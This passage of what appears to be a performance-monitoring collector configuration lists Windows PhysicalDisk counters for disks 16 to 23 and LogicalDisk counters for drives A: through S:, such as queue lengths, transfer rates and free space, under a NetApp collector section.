\PhysicalDisk(16 \*)\Disk Reads/sec
\PhysicalDisk(16 \*)\% Idle Time
\PhysicalDisk(16 \*)\Split IO/Sec
\PhysicalDisk(16 \*)\Disk Write Bytes/sec
\PhysicalDisk(16 \*)\Disk Bytes/sec
\PhysicalDisk(16 \*)\Disk Read Bytes/sec
\PhysicalDisk(16 \*)\Avg. Disk sec/Write
\PhysicalDisk(16 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(16 \*)\Avg. Disk sec/Read
\PhysicalDisk(16 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(16 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(16 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(16 \*)\Avg. Disk Queue Length
\PhysicalDisk(16 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(16 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(16 \*)\Current Disk Queue Length
\PhysicalDisk(17 \*)\% Disk Write Time
\PhysicalDisk(17 \*)\% Disk Read Time
\PhysicalDisk(17 \*)\Disk Writes/sec
\PhysicalDisk(17 \*)\Disk Transfers/sec
\PhysicalDisk(17 \*)\Disk Reads/sec
\PhysicalDisk(17 \*)\% Idle Time
\PhysicalDisk(17 \*)\Split IO/Sec
\PhysicalDisk(17 \*)\Disk Write Bytes/sec
\PhysicalDisk(17 \*)\Disk Bytes/sec
\PhysicalDisk(17 \*)\Disk Read Bytes/sec
\PhysicalDisk(17 \*)\Avg. Disk sec/Write
\PhysicalDisk(17 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(17 \*)\Avg. Disk sec/Read
\PhysicalDisk(17 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(17 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(17 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(17 \*)\Avg. Disk Queue Length
\PhysicalDisk(17 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(17 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(17 \*)\Current Disk Queue Length
\PhysicalDisk(18 \*)\% Disk Write Time
\PhysicalDisk(18 \*)\% Disk Read Time
\PhysicalDisk(18 \*)\Disk Writes/sec
\PhysicalDisk(18 \*)\Disk Transfers/sec
\PhysicalDisk(18 \*)\Disk Reads/sec
\PhysicalDisk(18 \*)\% Idle Time
\PhysicalDisk(18 \*)\Split IO/Sec
\PhysicalDisk(18 \*)\Disk Write Bytes/sec
\PhysicalDisk(18 \*)\Disk Bytes/sec
\PhysicalDisk(18 \*)\Disk Read Bytes/sec
\PhysicalDisk(18 \*)\Avg. Disk sec/Write
\PhysicalDisk(18 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(18 \*)\Avg. Disk sec/Read
\PhysicalDisk(18 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(18 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(18 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(18 \*)\Avg. Disk Queue Length
\PhysicalDisk(18 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(18 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(18 \*)\Current Disk Queue Length
\PhysicalDisk(19 \*)\% Disk Write Time
\PhysicalDisk(19 \*)\% Disk Read Time
\PhysicalDisk(19 \*)\Disk Writes/sec
\PhysicalDisk(19 \*)\Disk Transfers/sec
\PhysicalDisk(19 \*)\Disk Reads/sec
\PhysicalDisk(19 \*)\% Idle Time
\PhysicalDisk(19 \*)\Split IO/Sec
\PhysicalDisk(19 \*)\Disk Write Bytes/sec
\PhysicalDisk(19 \*)\Disk Bytes/sec
\PhysicalDisk(19 \*)\Disk Read Bytes/sec
\PhysicalDisk(19 \*)\Avg. Disk sec/Write
\PhysicalDisk(19 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(19 \*)\Avg. Disk sec/Read
\PhysicalDisk(19 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(19 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(19 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(19 \*)\Avg. Disk Queue Length
\PhysicalDisk(19 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(19 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(19 \*)\Current Disk Queue Length
\PhysicalDisk(20 \*)\% Disk Write Time
\PhysicalDisk(20 \*)\% Disk Read Time
\PhysicalDisk(20 \*)\Disk Writes/sec
\PhysicalDisk(20 \*)\Disk Transfers/sec
\PhysicalDisk(20 \*)\Disk Reads/sec
\PhysicalDisk(20 \*)\% Idle Time
\PhysicalDisk(20 \*)\Split IO/Sec
\PhysicalDisk(20 \*)\Disk Write Bytes/sec
\PhysicalDisk(20 \*)\Disk Bytes/sec
\PhysicalDisk(20 \*)\Disk Read Bytes/sec
\PhysicalDisk(20 \*)\Avg. Disk sec/Write
\PhysicalDisk(20 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(20 \*)\Avg. Disk sec/Read
\PhysicalDisk(20 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(20 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(20 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(20 \*)\Avg. Disk Queue Length
\PhysicalDisk(20 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(20 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(20 \*)\Current Disk Queue Length
\PhysicalDisk(21 \*)\% Disk Write Time
\PhysicalDisk(21 \*)\% Disk Read Time
\PhysicalDisk(21 \*)\Disk Writes/sec
\PhysicalDisk(21 \*)\Disk Transfers/sec
\PhysicalDisk(21 \*)\Disk Reads/sec
\PhysicalDisk(21 \*)\% Idle Time
\PhysicalDisk(21 \*)\Split IO/Sec
\PhysicalDisk(21 \*)\Disk Write Bytes/sec
\PhysicalDisk(21 \*)\Disk Bytes/sec
\PhysicalDisk(21 \*)\Disk Read Bytes/sec
\PhysicalDisk(21 \*)\Avg. Disk sec/Write
\PhysicalDisk(21 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(21 \*)\Avg. Disk sec/Read
\PhysicalDisk(21 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(21 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(21 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(21 \*)\Avg. Disk Queue Length
\PhysicalDisk(21 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(21 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(21 \*)\Current Disk Queue Length
\PhysicalDisk(22 \*)\% Disk Write Time
\PhysicalDisk(22 \*)\% Disk Read Time
\PhysicalDisk(22 \*)\Disk Writes/sec
\PhysicalDisk(22 \*)\Disk Transfers/sec
\PhysicalDisk(22 \*)\Disk Reads/sec
\PhysicalDisk(22 \*)\% Idle Time
\PhysicalDisk(22 \*)\Split IO/Sec
\PhysicalDisk(22 \*)\Disk Write Bytes/sec
\PhysicalDisk(22 \*)\Disk Bytes/sec
\PhysicalDisk(22 \*)\Disk Read Bytes/sec
\PhysicalDisk(22 \*)\Avg. Disk sec/Write
\PhysicalDisk(22 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(22 \*)\Avg. Disk sec/Read
\PhysicalDisk(22 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(22 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(22 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(22 \*)\Avg. Disk Queue Length
\PhysicalDisk(22 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(22 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(22 \*)\Current Disk Queue Length
\PhysicalDisk(23 \*)\% Disk Write Time
\PhysicalDisk(23 \*)\% Disk Read Time
\PhysicalDisk(23 \*)\Disk Writes/sec
\PhysicalDisk(23 \*)\Disk Transfers/sec
\PhysicalDisk(23 \*)\Disk Reads/sec
\PhysicalDisk(23 \*)\% Idle Time
\PhysicalDisk(23 \*)\Split IO/Sec
\PhysicalDisk(23 \*)\Disk Write Bytes/sec
\PhysicalDisk(23 \*)\Disk Bytes/sec
\PhysicalDisk(23 \*)\Disk Read Bytes/sec
\PhysicalDisk(23 \*)\Avg. Disk sec/Write
\PhysicalDisk(23 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(23 \*)\Avg. Disk sec/Read
\PhysicalDisk(23 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(23 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(23 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(23 \*)\Avg. Disk Queue Length
\PhysicalDisk(23 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(23 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(23 \*)\Current Disk Queue Length
0
NetApp Collector: LogicalDisk
NetAppLogicalDisk
1
0
0
0
5
0
3
\LogicalDisk(A:)\% Disk Time
\LogicalDisk(A:)\% Disk Write Time
\LogicalDisk(A:)\% Disk Read Time
\LogicalDisk(A:)\% Free Space
\LogicalDisk(A:)\Disk Writes/sec
\LogicalDisk(A:)\Disk Transfers/sec
\LogicalDisk(A:)\Disk Reads/sec
\LogicalDisk(A:)\% Idle Time
\LogicalDisk(A:)\Split IO/Sec
\LogicalDisk(A:)\Free Megabytes
\LogicalDisk(A:)\Disk Write Bytes/sec
\LogicalDisk(A:)\Disk Bytes/sec
\LogicalDisk(A:)\Disk Read Bytes/sec
\LogicalDisk(A:)\Avg. Disk sec/Write
\LogicalDisk(A:)\Avg. Disk sec/Transfer
\LogicalDisk(A:)\Avg. Disk sec/Read
\LogicalDisk(A:)\Avg. Disk Bytes/Transfer
\LogicalDisk(A:)\Avg. Disk Bytes/Read
\LogicalDisk(A:)\Avg. Disk Bytes/Write
\LogicalDisk(A:)\Avg. Disk Queue Length
\LogicalDisk(A:)\Avg. Disk Write Queue Length
\LogicalDisk(A:)\Avg. Disk Read Queue Length
\LogicalDisk(A:)\Current Disk Queue Length
\LogicalDisk(B:)\% Disk Time
\LogicalDisk(B:)\% Disk Write Time
\LogicalDisk(B:)\% Disk Read Time
\LogicalDisk(B:)\% Free Space
\LogicalDisk(B:)\Disk Writes/sec
\LogicalDisk(B:)\Disk Transfers/sec
\LogicalDisk(B:)\Disk Reads/sec
\LogicalDisk(B:)\% Idle Time
\LogicalDisk(B:)\Split IO/Sec
\LogicalDisk(B:)\Free Megabytes
\LogicalDisk(B:)\Disk Write Bytes/sec
\LogicalDisk(B:)\Disk Bytes/sec
\LogicalDisk(B:)\Disk Read Bytes/sec
\LogicalDisk(B:)\Avg. Disk sec/Write
\LogicalDisk(B:)\Avg. Disk sec/Transfer
\LogicalDisk(B:)\Avg. Disk sec/Read
\LogicalDisk(B:)\Avg. Disk Bytes/Transfer
\LogicalDisk(B:)\Avg. Disk Bytes/Read
\LogicalDisk(B:)\Avg. Disk Bytes/Write
\LogicalDisk(B:)\Avg. Disk Queue Length
\LogicalDisk(B:)\Avg. Disk Write Queue Length
\LogicalDisk(B:)\Avg. Disk Read Queue Length
\LogicalDisk(B:)\Current Disk Queue Length
\LogicalDisk(C:)\% Disk Time
\LogicalDisk(C:)\% Disk Write Time
\LogicalDisk(C:)\% Disk Read Time
\LogicalDisk(C:)\% Free Space
\LogicalDisk(C:)\Disk Writes/sec
\LogicalDisk(C:)\Disk Transfers/sec
\LogicalDisk(C:)\Disk Reads/sec
\LogicalDisk(C:)\% Idle Time
\LogicalDisk(C:)\Split IO/Sec
\LogicalDisk(C:)\Free Megabytes
\LogicalDisk(C:)\Disk Write Bytes/sec
\LogicalDisk(C:)\Disk Bytes/sec
\LogicalDisk(C:)\Disk Read Bytes/sec
\LogicalDisk(C:)\Avg. Disk sec/Write
\LogicalDisk(C:)\Avg. Disk sec/Transfer
\LogicalDisk(C:)\Avg. Disk sec/Read
\LogicalDisk(C:)\Avg. Disk Bytes/Transfer
\LogicalDisk(C:)\Avg. Disk Bytes/Read
\LogicalDisk(C:)\Avg. Disk Bytes/Write
\LogicalDisk(C:)\Avg. Disk Queue Length
\LogicalDisk(C:)\Avg. Disk Write Queue Length
\LogicalDisk(C:)\Avg. Disk Read Queue Length
\LogicalDisk(C:)\Current Disk Queue Length
\LogicalDisk(D:)\% Disk Time
\LogicalDisk(D:)\% Disk Write Time
\LogicalDisk(D:)\% Disk Read Time
\LogicalDisk(D:)\% Free Space
\LogicalDisk(D:)\Disk Writes/sec
\LogicalDisk(D:)\Disk Transfers/sec
\LogicalDisk(D:)\Disk Reads/sec
\LogicalDisk(D:)\% Idle Time
\LogicalDisk(D:)\Split IO/Sec
\LogicalDisk(D:)\Free Megabytes
\LogicalDisk(D:)\Disk Write Bytes/sec
\LogicalDisk(D:)\Disk Bytes/sec
\LogicalDisk(D:)\Disk Read Bytes/sec
\LogicalDisk(D:)\Avg. Disk sec/Write
\LogicalDisk(D:)\Avg. Disk sec/Transfer
\LogicalDisk(D:)\Avg. Disk sec/Read
\LogicalDisk(D:)\Avg. Disk Bytes/Transfer
\LogicalDisk(D:)\Avg. Disk Bytes/Read
\LogicalDisk(D:)\Avg. Disk Bytes/Write
\LogicalDisk(D:)\Avg. Disk Queue Length
\LogicalDisk(D:)\Avg. Disk Write Queue Length
\LogicalDisk(D:)\Avg. Disk Read Queue Length
\LogicalDisk(D:)\Current Disk Queue Length
\LogicalDisk(E:)\% Disk Time
\LogicalDisk(E:)\% Disk Write Time
\LogicalDisk(E:)\% Disk Read Time
\LogicalDisk(E:)\% Free Space
\LogicalDisk(E:)\Disk Writes/sec
\LogicalDisk(E:)\Disk Transfers/sec
\LogicalDisk(E:)\Disk Reads/sec
\LogicalDisk(E:)\% Idle Time
\LogicalDisk(E:)\Split IO/Sec
\LogicalDisk(E:)\Free Megabytes
\LogicalDisk(E:)\Disk Write Bytes/sec
\LogicalDisk(E:)\Disk Bytes/sec
\LogicalDisk(E:)\Disk Read Bytes/sec
\LogicalDisk(E:)\Avg. Disk sec/Write
\LogicalDisk(E:)\Avg. Disk sec/Transfer
\LogicalDisk(E:)\Avg. Disk sec/Read
\LogicalDisk(E:)\Avg. Disk Bytes/Transfer
\LogicalDisk(E:)\Avg. Disk Bytes/Read
\LogicalDisk(E:)\Avg. Disk Bytes/Write
\LogicalDisk(E:)\Avg. Disk Queue Length
\LogicalDisk(E:)\Avg. Disk Write Queue Length
\LogicalDisk(E:)\Avg. Disk Read Queue Length
\LogicalDisk(E:)\Current Disk Queue Length
\LogicalDisk(F:)\% Disk Time
\LogicalDisk(F:)\% Disk Write Time
\LogicalDisk(F:)\% Disk Read Time
\LogicalDisk(F:)\% Free Space
\LogicalDisk(F:)\Disk Writes/sec
\LogicalDisk(F:)\Disk Transfers/sec
\LogicalDisk(F:)\Disk Reads/sec
\LogicalDisk(F:)\% Idle Time
\LogicalDisk(F:)\Split IO/Sec
\LogicalDisk(F:)\Free Megabytes
\LogicalDisk(F:)\Disk Write Bytes/sec
\LogicalDisk(F:)\Disk Bytes/sec
\LogicalDisk(F:)\Disk Read Bytes/sec
\LogicalDisk(F:)\Avg. Disk sec/Write
\LogicalDisk(F:)\Avg. Disk sec/Transfer
\LogicalDisk(F:)\Avg. Disk sec/Read
\LogicalDisk(F:)\Avg. Disk Bytes/Transfer
\LogicalDisk(F:)\Avg. Disk Bytes/Read
\LogicalDisk(F:)\Avg. Disk Bytes/Write
\LogicalDisk(F:)\Avg. Disk Queue Length
\LogicalDisk(F:)\Avg. Disk Write Queue Length
\LogicalDisk(F:)\Avg. Disk Read Queue Length
\LogicalDisk(F:)\Current Disk Queue Length
\LogicalDisk(G:)\% Disk Time
\LogicalDisk(G:)\% Disk Write Time
\LogicalDisk(G:)\% Disk Read Time
\LogicalDisk(G:)\% Free Space
\LogicalDisk(G:)\Disk Writes/sec
\LogicalDisk(G:)\Disk Transfers/sec
\LogicalDisk(G:)\Disk Reads/sec
\LogicalDisk(G:)\% Idle Time
\LogicalDisk(G:)\Split IO/Sec
\LogicalDisk(G:)\Free Megabytes
\LogicalDisk(G:)\Disk Write Bytes/sec
\LogicalDisk(G:)\Disk Bytes/sec
\LogicalDisk(G:)\Disk Read Bytes/sec
\LogicalDisk(G:)\Avg. Disk sec/Write
\LogicalDisk(G:)\Avg. Disk sec/Transfer
\LogicalDisk(G:)\Avg. Disk sec/Read
\LogicalDisk(G:)\Avg. Disk Bytes/Transfer
\LogicalDisk(G:)\Avg. Disk Bytes/Read
\LogicalDisk(G:)\Avg. Disk Bytes/Write
\LogicalDisk(G:)\Avg. Disk Queue Length
\LogicalDisk(G:)\Avg. Disk Write Queue Length
\LogicalDisk(G:)\Avg. Disk Read Queue Length
\LogicalDisk(G:)\Current Disk Queue Length
\LogicalDisk(H:)\% Disk Time
\LogicalDisk(H:)\% Disk Write Time
\LogicalDisk(H:)\% Disk Read Time
\LogicalDisk(H:)\% Free Space
\LogicalDisk(H:)\Disk Writes/sec
\LogicalDisk(H:)\Disk Transfers/sec
\LogicalDisk(H:)\Disk Reads/sec
\LogicalDisk(H:)\% Idle Time
\LogicalDisk(H:)\Split IO/Sec
\LogicalDisk(H:)\Free Megabytes
\LogicalDisk(H:)\Disk Write Bytes/sec
\LogicalDisk(H:)\Disk Bytes/sec
\LogicalDisk(H:)\Disk Read Bytes/sec
\LogicalDisk(H:)\Avg. Disk sec/Write
\LogicalDisk(H:)\Avg. Disk sec/Transfer
\LogicalDisk(H:)\Avg. Disk sec/Read
\LogicalDisk(H:)\Avg. Disk Bytes/Transfer
\LogicalDisk(H:)\Avg. Disk Bytes/Read
\LogicalDisk(H:)\Avg. Disk Bytes/Write
\LogicalDisk(H:)\Avg. Disk Queue Length
\LogicalDisk(H:)\Avg. Disk Write Queue Length
\LogicalDisk(H:)\Avg. Disk Read Queue Length
\LogicalDisk(H:)\Current Disk Queue Length
\LogicalDisk(I:)\% Disk Time
\LogicalDisk(I:)\% Disk Write Time
\LogicalDisk(I:)\% Disk Read Time
\LogicalDisk(I:)\% Free Space
\LogicalDisk(I:)\Disk Writes/sec
\LogicalDisk(I:)\Disk Transfers/sec
\LogicalDisk(I:)\Disk Reads/sec
\LogicalDisk(I:)\% Idle Time
\LogicalDisk(I:)\Split IO/Sec
\LogicalDisk(I:)\Free Megabytes
\LogicalDisk(I:)\Disk Write Bytes/sec
\LogicalDisk(I:)\Disk Bytes/sec
\LogicalDisk(I:)\Disk Read Bytes/sec
\LogicalDisk(I:)\Avg. Disk sec/Write
\LogicalDisk(I:)\Avg. Disk sec/Transfer
\LogicalDisk(I:)\Avg. Disk sec/Read
\LogicalDisk(I:)\Avg. Disk Bytes/Transfer
\LogicalDisk(I:)\Avg. Disk Bytes/Read
\LogicalDisk(I:)\Avg. Disk Bytes/Write
\LogicalDisk(I:)\Avg. Disk Queue Length
\LogicalDisk(I:)\Avg. Disk Write Queue Length
\LogicalDisk(I:)\Avg. Disk Read Queue Length
\LogicalDisk(I:)\Current Disk Queue Length
\LogicalDisk(J:)\% Disk Time
\LogicalDisk(J:)\% Disk Write Time
\LogicalDisk(J:)\% Disk Read Time
\LogicalDisk(J:)\% Free Space
\LogicalDisk(J:)\Disk Writes/sec
\LogicalDisk(J:)\Disk Transfers/sec
\LogicalDisk(J:)\Disk Reads/sec
\LogicalDisk(J:)\% Idle Time
\LogicalDisk(J:)\Split IO/Sec
\LogicalDisk(J:)\Free Megabytes
\LogicalDisk(J:)\Disk Write Bytes/sec
\LogicalDisk(J:)\Disk Bytes/sec
\LogicalDisk(J:)\Disk Read Bytes/sec
\LogicalDisk(J:)\Avg. Disk sec/Write
\LogicalDisk(J:)\Avg. Disk sec/Transfer
\LogicalDisk(J:)\Avg. Disk sec/Read
\LogicalDisk(J:)\Avg. Disk Bytes/Transfer
\LogicalDisk(J:)\Avg. Disk Bytes/Read
\LogicalDisk(J:)\Avg. Disk Bytes/Write
\LogicalDisk(J:)\Avg. Disk Queue Length
\LogicalDisk(J:)\Avg. Disk Write Queue Length
\LogicalDisk(J:)\Avg. Disk Read Queue Length
\LogicalDisk(J:)\Current Disk Queue Length
\LogicalDisk(K:)\% Disk Time
\LogicalDisk(K:)\% Disk Write Time
\LogicalDisk(K:)\% Disk Read Time
\LogicalDisk(K:)\% Free Space
\LogicalDisk(K:)\Disk Writes/sec
\LogicalDisk(K:)\Disk Transfers/sec
\LogicalDisk(K:)\Disk Reads/sec
\LogicalDisk(K:)\% Idle Time
\LogicalDisk(K:)\Split IO/Sec
\LogicalDisk(K:)\Free Megabytes
\LogicalDisk(K:)\Disk Write Bytes/sec
\LogicalDisk(K:)\Disk Bytes/sec
\LogicalDisk(K:)\Disk Read Bytes/sec
\LogicalDisk(K:)\Avg. Disk sec/Write
\LogicalDisk(K:)\Avg. Disk sec/Transfer
\LogicalDisk(K:)\Avg. Disk sec/Read
\LogicalDisk(K:)\Avg. Disk Bytes/Transfer
\LogicalDisk(K:)\Avg. Disk Bytes/Read
\LogicalDisk(K:)\Avg. Disk Bytes/Write
\LogicalDisk(K:)\Avg. Disk Queue Length
\LogicalDisk(K:)\Avg. Disk Write Queue Length
\LogicalDisk(K:)\Avg. Disk Read Queue Length
\LogicalDisk(K:)\Current Disk Queue Length
\LogicalDisk(L:)\% Disk Time
\LogicalDisk(L:)\% Disk Write Time
\LogicalDisk(L:)\% Disk Read Time
\LogicalDisk(L:)\% Free Space
\LogicalDisk(L:)\Disk Writes/sec
\LogicalDisk(L:)\Disk Transfers/sec
\LogicalDisk(L:)\Disk Reads/sec
\LogicalDisk(L:)\% Idle Time
\LogicalDisk(L:)\Split IO/Sec
\LogicalDisk(L:)\Free Megabytes
\LogicalDisk(L:)\Disk Write Bytes/sec
\LogicalDisk(L:)\Disk Bytes/sec
\LogicalDisk(L:)\Disk Read Bytes/sec
\LogicalDisk(L:)\Avg. Disk sec/Write
\LogicalDisk(L:)\Avg. Disk sec/Transfer
\LogicalDisk(L:)\Avg. Disk sec/Read
\LogicalDisk(L:)\Avg. Disk Bytes/Transfer
\LogicalDisk(L:)\Avg. Disk Bytes/Read
\LogicalDisk(L:)\Avg. Disk Bytes/Write
\LogicalDisk(L:)\Avg. Disk Queue Length
\LogicalDisk(L:)\Avg. Disk Write Queue Length
\LogicalDisk(L:)\Avg. Disk Read Queue Length
\LogicalDisk(L:)\Current Disk Queue Length
\LogicalDisk(M:)\% Disk Time
\LogicalDisk(M:)\% Disk Write Time
\LogicalDisk(M:)\% Disk Read Time
\LogicalDisk(M:)\% Free Space
\LogicalDisk(M:)\Disk Writes/sec
\LogicalDisk(M:)\Disk Transfers/sec
\LogicalDisk(M:)\Disk Reads/sec
\LogicalDisk(M:)\% Idle Time
\LogicalDisk(M:)\Split IO/Sec
\LogicalDisk(M:)\Free Megabytes
\LogicalDisk(M:)\Disk Write Bytes/sec
\LogicalDisk(M:)\Disk Bytes/sec
\LogicalDisk(M:)\Disk Read Bytes/sec
\LogicalDisk(M:)\Avg. Disk sec/Write
\LogicalDisk(M:)\Avg. Disk sec/Transfer
\LogicalDisk(M:)\Avg. Disk sec/Read
\LogicalDisk(M:)\Avg. Disk Bytes/Transfer
\LogicalDisk(M:)\Avg. Disk Bytes/Read
\LogicalDisk(M:)\Avg. Disk Bytes/Write
\LogicalDisk(M:)\Avg. Disk Queue Length
\LogicalDisk(M:)\Avg. Disk Write Queue Length
\LogicalDisk(M:)\Avg. Disk Read Queue Length
\LogicalDisk(M:)\Current Disk Queue Length
\LogicalDisk(N:)\% Disk Time
\LogicalDisk(N:)\% Disk Write Time
\LogicalDisk(N:)\% Disk Read Time
\LogicalDisk(N:)\% Free Space
\LogicalDisk(N:)\Disk Writes/sec
\LogicalDisk(N:)\Disk Transfers/sec
\LogicalDisk(N:)\Disk Reads/sec
\LogicalDisk(N:)\% Idle Time
\LogicalDisk(N:)\Split IO/Sec
\LogicalDisk(N:)\Free Megabytes
\LogicalDisk(N:)\Disk Write Bytes/sec
\LogicalDisk(N:)\Disk Bytes/sec
\LogicalDisk(N:)\Disk Read Bytes/sec
\LogicalDisk(N:)\Avg. Disk sec/Write
\LogicalDisk(N:)\Avg. Disk sec/Transfer
\LogicalDisk(N:)\Avg. Disk sec/Read
\LogicalDisk(N:)\Avg. Disk Bytes/Transfer
\LogicalDisk(N:)\Avg. Disk Bytes/Read
\LogicalDisk(N:)\Avg. Disk Bytes/Write
\LogicalDisk(N:)\Avg. Disk Queue Length
\LogicalDisk(N:)\Avg. Disk Write Queue Length
\LogicalDisk(N:)\Avg. Disk Read Queue Length
\LogicalDisk(N:)\Current Disk Queue Length
\LogicalDisk(O:)\% Disk Time
\LogicalDisk(O:)\% Disk Write Time
\LogicalDisk(O:)\% Disk Read Time
\LogicalDisk(O:)\% Free Space
\LogicalDisk(O:)\Disk Writes/sec
\LogicalDisk(O:)\Disk Transfers/sec
\LogicalDisk(O:)\Disk Reads/sec
\LogicalDisk(O:)\% Idle Time
\LogicalDisk(O:)\Split IO/Sec
\LogicalDisk(O:)\Free Megabytes
\LogicalDisk(O:)\Disk Write Bytes/sec
\LogicalDisk(O:)\Disk Bytes/sec
\LogicalDisk(O:)\Disk Read Bytes/sec
\LogicalDisk(O:)\Avg. Disk sec/Write
\LogicalDisk(O:)\Avg. Disk sec/Transfer
\LogicalDisk(O:)\Avg. Disk sec/Read
\LogicalDisk(O:)\Avg. Disk Bytes/Transfer
\LogicalDisk(O:)\Avg. Disk Bytes/Read
\LogicalDisk(O:)\Avg. Disk Bytes/Write
\LogicalDisk(O:)\Avg. Disk Queue Length
\LogicalDisk(O:)\Avg. Disk Write Queue Length
\LogicalDisk(O:)\Avg. Disk Read Queue Length
\LogicalDisk(O:)\Current Disk Queue Length
\LogicalDisk(P:)\% Disk Time
\LogicalDisk(P:)\% Disk Write Time
\LogicalDisk(P:)\% Disk Read Time
\LogicalDisk(P:)\% Free Space
\LogicalDisk(P:)\Disk Writes/sec
\LogicalDisk(P:)\Disk Transfers/sec
\LogicalDisk(P:)\Disk Reads/sec
\LogicalDisk(P:)\% Idle Time
\LogicalDisk(P:)\Split IO/Sec
\LogicalDisk(P:)\Free Megabytes
\LogicalDisk(P:)\Disk Write Bytes/sec
\LogicalDisk(P:)\Disk Bytes/sec
\LogicalDisk(P:)\Disk Read Bytes/sec
\LogicalDisk(P:)\Avg. Disk sec/Write
\LogicalDisk(P:)\Avg. Disk sec/Transfer
\LogicalDisk(P:)\Avg. Disk sec/Read
\LogicalDisk(P:)\Avg. Disk Bytes/Transfer
\LogicalDisk(P:)\Avg. Disk Bytes/Read
\LogicalDisk(P:)\Avg. Disk Bytes/Write
\LogicalDisk(P:)\Avg. Disk Queue Length
\LogicalDisk(P:)\Avg. Disk Write Queue Length
\LogicalDisk(P:)\Avg. Disk Read Queue Length
\LogicalDisk(P:)\Current Disk Queue Length
\LogicalDisk(Q:)\% Disk Time
\LogicalDisk(Q:)\% Disk Write Time
\LogicalDisk(Q:)\% Disk Read Time
\LogicalDisk(Q:)\% Free Space
\LogicalDisk(Q:)\Disk Writes/sec
\LogicalDisk(Q:)\Disk Transfers/sec
\LogicalDisk(Q:)\Disk Reads/sec
\LogicalDisk(Q:)\% Idle Time
\LogicalDisk(Q:)\Split IO/Sec
\LogicalDisk(Q:)\Free Megabytes
\LogicalDisk(Q:)\Disk Write Bytes/sec
\LogicalDisk(Q:)\Disk Bytes/sec
\LogicalDisk(Q:)\Disk Read Bytes/sec
\LogicalDisk(Q:)\Avg. Disk sec/Write
\LogicalDisk(Q:)\Avg. Disk sec/Transfer
\LogicalDisk(Q:)\Avg. Disk sec/Read
\LogicalDisk(Q:)\Avg. Disk Bytes/Transfer
\LogicalDisk(Q:)\Avg. Disk Bytes/Read
\LogicalDisk(Q:)\Avg. Disk Bytes/Write
\LogicalDisk(Q:)\Avg. Disk Queue Length
\LogicalDisk(Q:)\Avg. Disk Write Queue Length
\LogicalDisk(Q:)\Avg. Disk Read Queue Length
\LogicalDisk(Q:)\Current Disk Queue Length
\LogicalDisk(R:)\% Disk Time
\LogicalDisk(R:)\% Disk Write Time
\LogicalDisk(R:)\% Disk Read Time
\LogicalDisk(R:)\% Free Space
\LogicalDisk(R:)\Disk Writes/sec
\LogicalDisk(R:)\Disk Transfers/sec
\LogicalDisk(R:)\Disk Reads/sec
\LogicalDisk(R:)\% Idle Time
\LogicalDisk(R:)\Split IO/Sec
\LogicalDisk(R:)\Free Megabytes
\LogicalDisk(R:)\Disk Write Bytes/sec
\LogicalDisk(R:)\Disk Bytes/sec
\LogicalDisk(R:)\Disk Read Bytes/sec
\LogicalDisk(R:)\Avg. Disk sec/Write
\LogicalDisk(R:)\Avg. Disk sec/Transfer
\LogicalDisk(R:)\Avg. Disk sec/Read
\LogicalDisk(R:)\Avg. Disk Bytes/Transfer
\LogicalDisk(R:)\Avg. Disk Bytes/Read
\LogicalDisk(R:)\Avg. Disk Bytes/Write
\LogicalDisk(R:)\Avg. Disk Queue Length
\LogicalDisk(R:)\Avg. Disk Write Queue Length
\LogicalDisk(R:)\Avg. Disk Read Queue Length
\LogicalDisk(R:)\Current Disk Queue Length
\LogicalDisk(S:)\% Disk Time
\LogicalDisk(S:)\% Disk Write Time
\LogicalDisk(S:)\% Disk Read Time
\LogicalDisk(S:)\% Free Space
\LogicalDisk(S:)\Disk Writes/sec
\LogicalDisk(S:)\Disk Transfers/sec
\LogicalDisk(S:)\Disk Reads/sec
\LogicalDisk(S:)\% Idle Time
\LogicalDisk(S:)\Split IO/Sec
\LogicalDisk(S:)\Free Megabytes
\LogicalDisk(S:)\Disk Write Bytes/sec
\LogicalDisk(S:)\Disk Bytes/sec
\LogicalDisk(S:)\Disk Read Bytes/sec
\LogicalDisk(S:)\Avg. Disk sec/Write
\LogicalDisk(S:)\Avg. Disk sec/Transfer
